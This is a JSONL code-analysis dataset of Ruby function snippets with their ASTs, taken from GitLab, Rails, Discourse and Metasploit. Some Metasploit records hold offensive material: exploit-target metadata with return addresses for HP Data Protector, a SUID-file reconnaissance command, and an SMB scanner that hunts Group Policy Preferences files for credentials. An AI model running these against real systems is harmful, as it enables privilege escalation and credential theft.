"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4658]},\"+\",{\"type\":\"int\",\"children\":[66]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic Targeting\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"auto\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"HP OpenView Storage Data Protector A.05.50: INET, internal build 330\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[4458191]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"HP OpenView Storage Data Protector A.06.00: INET, internal build 331\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[4469373]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"HP StorageWorks Application Recovery Manager A.06.00: INET, internal build 81\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[4358399]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"HP Application Recovery Manager software A.06.10: INET, internal build 282\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[4461293]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2009-12-17\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[5555]}]}]}]}]}]}","id":"fb72e256-2b39-469a-9992-eebc1211a969"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/todo_dir.rb","start_line":94,"raw_source":"def delete_inspected\n      list_inspect.count do |path|\n        File.delete(path)\n      end\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_inspected\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"list_inspect\"]},\"count\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"814c3ff3-7a4a-4070-86b5-f51cce0efb20"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/schema_dumper.rb","start_line":142,"raw_source":"def within_each_schema\n            @dump_schemas.each do |schema_name|\n              old_search_path = @connection.schema_search_path\n              @connection.schema_search_path = schema_name\n              self.schema_name = schema_name\n              yield\n            ensure\n              self.schema_name = nil\n              @connection.schema_search_path = old_search_path\n            end\n          end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"within_each_schema\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dump_schemas\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"schema_name\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_search_path\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"schema_search_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"schema_search_path=\",{\"type\":\"lvar\",\"children\":[\"schema_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"schema_name=\",{\"type\":\"lvar\",\"children\":[\"schema_name\"]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"schema_name=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"schema_search_path=\",{\"type\":\"lvar\",\"children\":[\"old_search_path\"]}]}]}]}]}]}","id":"8bb83562-2554-4419-af48-4bc061e8b921"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/linux/system.rb","start_line":172,"raw_source":"def get_suid_files(findpath = '/')\n          cmd_exec(\"find #{findpath} -perm -4000 -print -xdev\").to_s.split(\"\\n\").delete_if { |i| i.include? 'Permission denied' }\n        rescue StandardError\n          raise 'Could not retrieve all SUID files'\n        end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_suid_files\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"findpath\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"find \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"findpath\"]}]},{\"type\":\"str\",\"children\":[\" -perm -4000 -print -xdev\"]}]}]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Permission denied\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Could not retrieve all SUID files\"]}]}]},null]}]}","id":"5ebfba20-147d-462e-ac9e-69990c96a37b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250516111904_create_group_push_rules_sync_triggers.rb","start_line":163,"raw_source":"def down\n    # rubocop:disable Migration/WithLockRetriesDisallowedMethod -- Need this here\n    # More details - https://gitlab.com/gitlab-org/gitlab/-/merge_requests/188143#note_2493525239\n    with_lock_retries do\n      drop_trigger(:push_rules, PUSH_RULES_SYNC_TRIGGER_NAME)\n    end\n\n    with_lock_retries do\n      drop_trigger(:namespaces, NAMESPACE_SYNC_TRIGGER_NAME)\n    end\n    # rubocop:enable Migration/WithLockRetriesDisallowedMethod\n\n    drop_function(PUSH_RULES_SYNC_FUNCTION_NAME)\n    drop_function(NAMESPACE_SYNC_FUNCTION_NAME)\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"drop_trigger\",{\"type\":\"sym\",\"children\":[\"push_rules\"]},{\"type\":\"const\",\"children\":[null,\"PUSH_RULES_SYNC_TRIGGER_NAME\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"drop_trigger\",{\"type\":\"sym\",\"children\":[\"namespaces\"]},{\"type\":\"const\",\"children\":[null,\"NAMESPACE_SYNC_TRIGGER_NAME\"]}]}]},{\"type\":\"send\",\"children\":[null,\"drop_function\",{\"type\":\"const\",\"children\":[null,\"PUSH_RULES_SYNC_FUNCTION_NAME\"]}]},{\"type\":\"send\",\"children\":[null,\"drop_function\",{\"type\":\"const\",\"children\":[null,\"NAMESPACE_SYNC_FUNCTION_NAME\"]}]}]}]}","id":"f4c01d5d-88cb-4250-acbe-f8c7a5bf5a2e"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/structured_event_subscriber_test.rb","start_line":36,"raw_source":"def test_render_template\n      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do\n        with_debug_event_reporting do\n          assert_event_reported(\"action_view.render_start\", payload: { identifier: \"test/hello_world.erb\", layout: nil }) do\n            event = assert_event_reported(\"action_view.render_template\", payload: { identifier: \"test/hello_world.erb\", layout: nil }) do\n              @view.render(template: \"test/hello_world\")\n            end\n\n            assert(event[:payload][:gc_ms] >= 0)\n            assert(event[:payload][:duration_ms] >= 0)\n          end\n        end\n      end\n    end","complexity_score":27.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_template\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"const\",\"children\":[null,\"FIXTURE_LOAD_PATH\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_debug_event_reporting\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_event_reported\",{\"type\":\"str\",\"children\":[\"action_view.render_start\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"str\",\"children\":[\"test/hello_world.erb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_event_reported\",{\"type\":\"str\",\"children\":[\"action_view.render_template\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"str\",\"children\":[\"test/hello_world.erb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"template\"]},{\"type\":\"str\",\"children\":[\"test/hello_world\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"gc_ms\"]}]},\">=\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"duration_ms\"]}]},\">=\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}]}]}","id":"170d07dd-76d9-400e-af12-ddb0227fa6f5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/wiki.rb","start_line":428,"raw_source":"def to_wikilink(text, namespace = '')\n        return '[[' + namespace + text + ']]'\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"to_wikilink\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"optarg\",\"children\":[\"namespace\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"[[\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"namespace\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"]]\"]}]}]}]}","id":"87546381-4083-4631-ab78-fff7c65f4fb2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/smb/smb_enum_gpp.rb","start_line":162,"raw_source":"def run_host(ip)\n    print_status('Connecting to the server...')\n    begin\n      if session\n        print_status(\"Using existing session #{session.sid}\")\n        self.simple = session.simple_client\n        session.verify_connectivity\n      else\n        connect\n        smb_login\n      end\n\n      print_status(\"Mounting the remote share \\\\\\\\#{simple.address}\\\\#{datastore['SMBSHARE']}'...\")\n      tree = simple.client.tree_connect(\"\\\\\\\\#{simple.address}\\\\#{datastore['SMBSHARE']}\")\n\n      corp_domain = tree.list.map { |entry| entry.file_name.value.to_s.encode }.detect { |entry| entry != '.' && entry != '..' }\n      fail_with(Failure::NotFound, 'Could not find the domain folder') if corp_domain.nil?\n\n      sub_folders = tree.list(directory: \"#{corp_domain}\\\\Policies\").map { |entry| entry.file_name.value.to_s.encode }\n\n      gpp_locations = %w(\n        MACHINE\\\\Preferences\\\\Groups\\\\Groups.xml\n        USER\\\\Preferences\\\\Groups\\\\Groups.xml\n        MACHINE\\\\Preferences\\\\Services\\\\Services.xml\n        USER\\\\Preferences\\\\Printers\\\\Printers.xml\n        USER\\\\Preferences\\\\Drives\\\\Drives.xml\n        MACHINE\\\\Preferences\\\\Datasources\\\\DataSources.xml\n        USER\\\\Preferences\\\\Datasources\\\\DataSources.xml\n        MACHINE\\\\Preferences\\\\ScheduledTasks\\\\ScheduledTasks.xml\n        USER\\\\Preferences\\\\ScheduledTasks\\\\ScheduledTasks.xml\n      )\n      sub_folders.each do |sub_folder|\n        next if sub_folder == '.' || sub_folder == '..'\n\n        gpp_locations.each do |gpp_l|\n          check_path(simple.address, \"#{corp_domain}\\\\Policies\\\\#{sub_folder}\\\\#{gpp_l}\")\n        end\n      end\n    rescue ::Exception => e\n      print_error(\"#{simple.address}: #{e.class} #{e}\")\n    ensure\n      disconnect\n    end\n  end","complexity_score":97.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Connecting to the server...\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Using existing session \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sid\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"simple=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"simple_client\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"verify_connectivity\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"smb_login\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Mounting the remote share \\\\\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple\"]},\"address\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMBSHARE\"]}]}]},{\"type\":\"str\",\"children\":[\"'...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tree\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple\"]},\"client\"]},\"tree_connect\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple\"]},\"address\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMBSHARE\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"corp_domain\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tree\"]},\"list\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"file_name\"]},\"value\"]},\"to_s\"]},\"encode\"]}]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"!=\",{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"!=\",{\"type\":\"str\",\"children\":[\"..\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corp_domain\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"Could not find the domain folder\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"sub_folders\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tree\"]},\"list\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"directory\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corp_domain\"]}]},{\"type\":\"str\",\"children\":[\"\\\\Policies\"]}]}]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"file_name\"]},\"value\"]},\"to_s\"]},\"encode\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"gpp_locations\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MACHINE\\\\Preferences\\\\Groups\\\\Groups.xml\"]},{\"type\":\"str\",\"children\":[\"USER\\\\Preferences\\\\Groups\\\\Groups.xml\"]},{\"type\":\"str\",\"children\":[\"MACHINE\\\\Preferences\\\\Services\\\\Services.xml\"]},{\"type\":\"str\",\"children\":[\"USER\\\\Preferences\\\\Printers\\\\Printers.xml\"]},{\"type\":\"str\",\"children\":[\"USER\\\\Preferences\\\\Drives\\\\Drives.xml\"]},{\"type\":\"str\",\"children\":[\"MACHINE\\\\Preferences\\\\Datasources\\\\DataSources.xml\"]},{\"type\":\"str\",\"children\":[\"USER\\\\Preferences\\\\Datasources\\\\DataSources.xml\"]},{\"type\":\"str\",\"children\":[\"MACHINE\\\\Preferences\\\\ScheduledTasks\\\\ScheduledTasks.xml\"]},{\"type\":\"str\",\"children\":[\"USER\\\\Preferences\\\\ScheduledTasks\\\\ScheduledTasks.xml\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_folders\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_folder\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_folder\"]},\"==\",{\"type\":\"str\",\"children\":[\".\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_folder\"]},\"==\",{\"type\":\"str\",\"children\":[\"..\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gpp_locations\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gpp_l\"]}]},{\"type\":\"send\",\"children\":[null,\"check_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple\"]},\"address\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corp_domain\"]}]},{\"type\":\"str\",\"children\":[\"\\\\Policies\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_folder\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gpp_l\"]}]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"simple\"]},\"address\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}]}]}","id":"9170baf1-2886-4300-988b-96bc3f84a6d6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/banzai/filter/references/work_item_reference_filter_spec.rb","start_line":15,"raw_source":"def item_url(item)\n    work_item_path = if item.project_id.present?\n                       \"/#{item.project.namespace.path}/#{item.project.path}/-/work_items/#{item.iid}\"\n                     else\n                       \"/groups/#{item.namespace.path}/-/work_items/#{item.iid}\"\n                     end\n\n    \"http://#{Gitlab.config.gitlab.host}#{work_item_path}\"\n  end","complexity_score":18.7,"ast_json":"{\"type\":\"def\",\"children\":[\"item_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"work_item_path\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"project_id\"]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"project\"]},\"namespace\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"project\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\"/-/work_items/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"iid\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/groups/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"namespace\"]},\"path\"]}]},{\"type\":\"str\",\"children\":[\"/-/work_items/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"iid\"]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"gitlab\"]},\"host\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_item_path\"]}]}]}]}]}","id":"dffd6b2b-26fb-4b46-b37f-b3742afc7e52"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/post_action_creator.rb","start_line":335,"raw_source":"def create_message_creator\n    title =\n      I18n.t(\n        \"post_action_types.#{@post_action_name}.email_title\",\n        title: @post.topic.title,\n        locale: SiteSetting.default_locale,\n        default: I18n.t(\"post_action_types.illegal.email_title\"),\n      )\n\n    body =\n      I18n.t(\n        \"post_action_types.#{@post_action_name}.email_body\",\n        message: @message,\n        link: \"#{Discourse.base_url}#{@post.url}\",\n        locale: SiteSetting.default_locale,\n        default: I18n.t(\"post_action_types.illegal.email_body\"),\n      )\n\n    create_args = {\n      archetype: Archetype.private_message,\n      is_warning: @is_warning,\n      title: title.truncate(SiteSetting.max_topic_title_length, separator: /\\s/),\n      raw: body,\n    }\n\n    if @post_action_name == :notify_user\n      create_args[:subtype] = TopicSubtype.notify_user\n\n      create_args[:target_usernames] = @post.user.username\n\n      # Evaluate DiscoursePluginRegistry.post_action_notify_user_handlers.\n      # If any return false, return early from this method\n      handler_values =\n        DiscoursePluginRegistry.post_action_notify_user_handlers.map do |handler|\n          handler.call(@created_by, @post, @message)\n        end\n      return if handler_values.any? { |value| value == false }\n    else\n      create_args[:subtype] = TopicSubtype.notify_moderators\n      create_args[:target_group_names] = [Group[:moderators].name]\n\n      if SiteSetting.enable_category_group_moderation? && @post.topic&.category\n        create_args[:target_group_names].push(\n          *Group\n            .joins(:category_moderation_groups)\n            .where(\"category_moderation_groups.category_id\": @post.topic.category.id)\n            .pluck(:name),\n        )\n      end\n    end\n\n    PostCreator.new(@created_by, create_args)\n  